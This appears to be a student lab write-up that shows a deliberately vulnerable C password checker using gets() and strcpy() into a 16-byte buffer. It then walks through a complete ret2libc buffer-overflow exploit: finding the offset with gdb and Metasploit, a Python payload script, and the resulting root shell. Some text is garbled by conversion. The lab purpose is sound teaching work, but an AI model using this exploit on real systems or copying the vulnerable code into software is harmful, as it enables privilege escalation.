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Program
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#define PASSWORD "AdminRoot"
int auth(char *pswd) {
     int authPW;
     char buffer[16]:
     strcpy(buffer, pswd);
                                                   /*copy input pswd to buffer*/
     authPW = strcmp(buffer, PASSWORD); /*compare buffer with password */
     return authPW;
}
int main(int argc, char **argv)
     int flag = 0;
     char pswd[64];
     printf("Please enter the password for Admin: ");
     fflush(stdout);
     gets(pswd);
     flag = auth(pswd);
                                                 /*call function to verify pswd*/
     if(flag){
          printf("incorrect password!\n");
     }
     else{
          printf("logged in as Admin!\n");
     }}
Exploit
use 'gcc -fno-stack-protector -z execstack -z norelro part3.c -o part3' to compile
the program:
gcc -fno-stack-protector -z execstack -z norelro part3.c -o part3
part3.c: In function 'main':
part3.c:21:9: warning: implicit declaration of function 'gets' [-Wimplicit-function
ion-declaration]
         gets(pswd);
/tmp/ccoHp6JF.o: In function `main':
part3.c:(.text+0x75): warning: the `gets' function is dangerous and should not
set an environment variable to store /bin/sh and used a program to get its
address:
task4@lab2:~$ export T4=/bin/sh
task4@lab2:~$ ./address
Estimated address: 0xbffff840
use gdb to find the address where buffer overflow occurs and calculate its
offset:
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db-peda$ c
Continuing.
Please enter the password for Admin: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3A
b4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Program received signal SIGSEGV, Segmentation fault.
Stopped reason: SIGSEGV
0x31624130 in ?? ()
gdb-peda$ q
task4@lab2:~$ /usr/share/metasploit-framework/tools/exploit/./pattern_offset.rb
-q 0x31624130
[*] Exact match at offset 32
find the addresses of system() and exit():
 gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e52db0 < libc system>
 gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb7e469e0 < GI exit>
write the script:
import struct
\overline{\text{buffer}} = \text{"A"} * 32
system = struct.pack("I",0xb7e52db0)
exit = struct.pack("I",0xb7e469e0)
shell = struct.pack("I",0xbffff842)
print buffer + system + exit + shell
0xbffff842 is the actual address of the environment variable where stores
/bin/sh.
then use the commands below to exploit the program:
task4@lab2:~$ vim part3.py
task4@lab2:~$ python part3.py > payload
task4@lab2:~$ cat payload - | ./part3
Please enter the password for Admin:
whoami
root
id
uid=1007(task4) gid=1007(task4) euid=0(root) groups=1007(task4)
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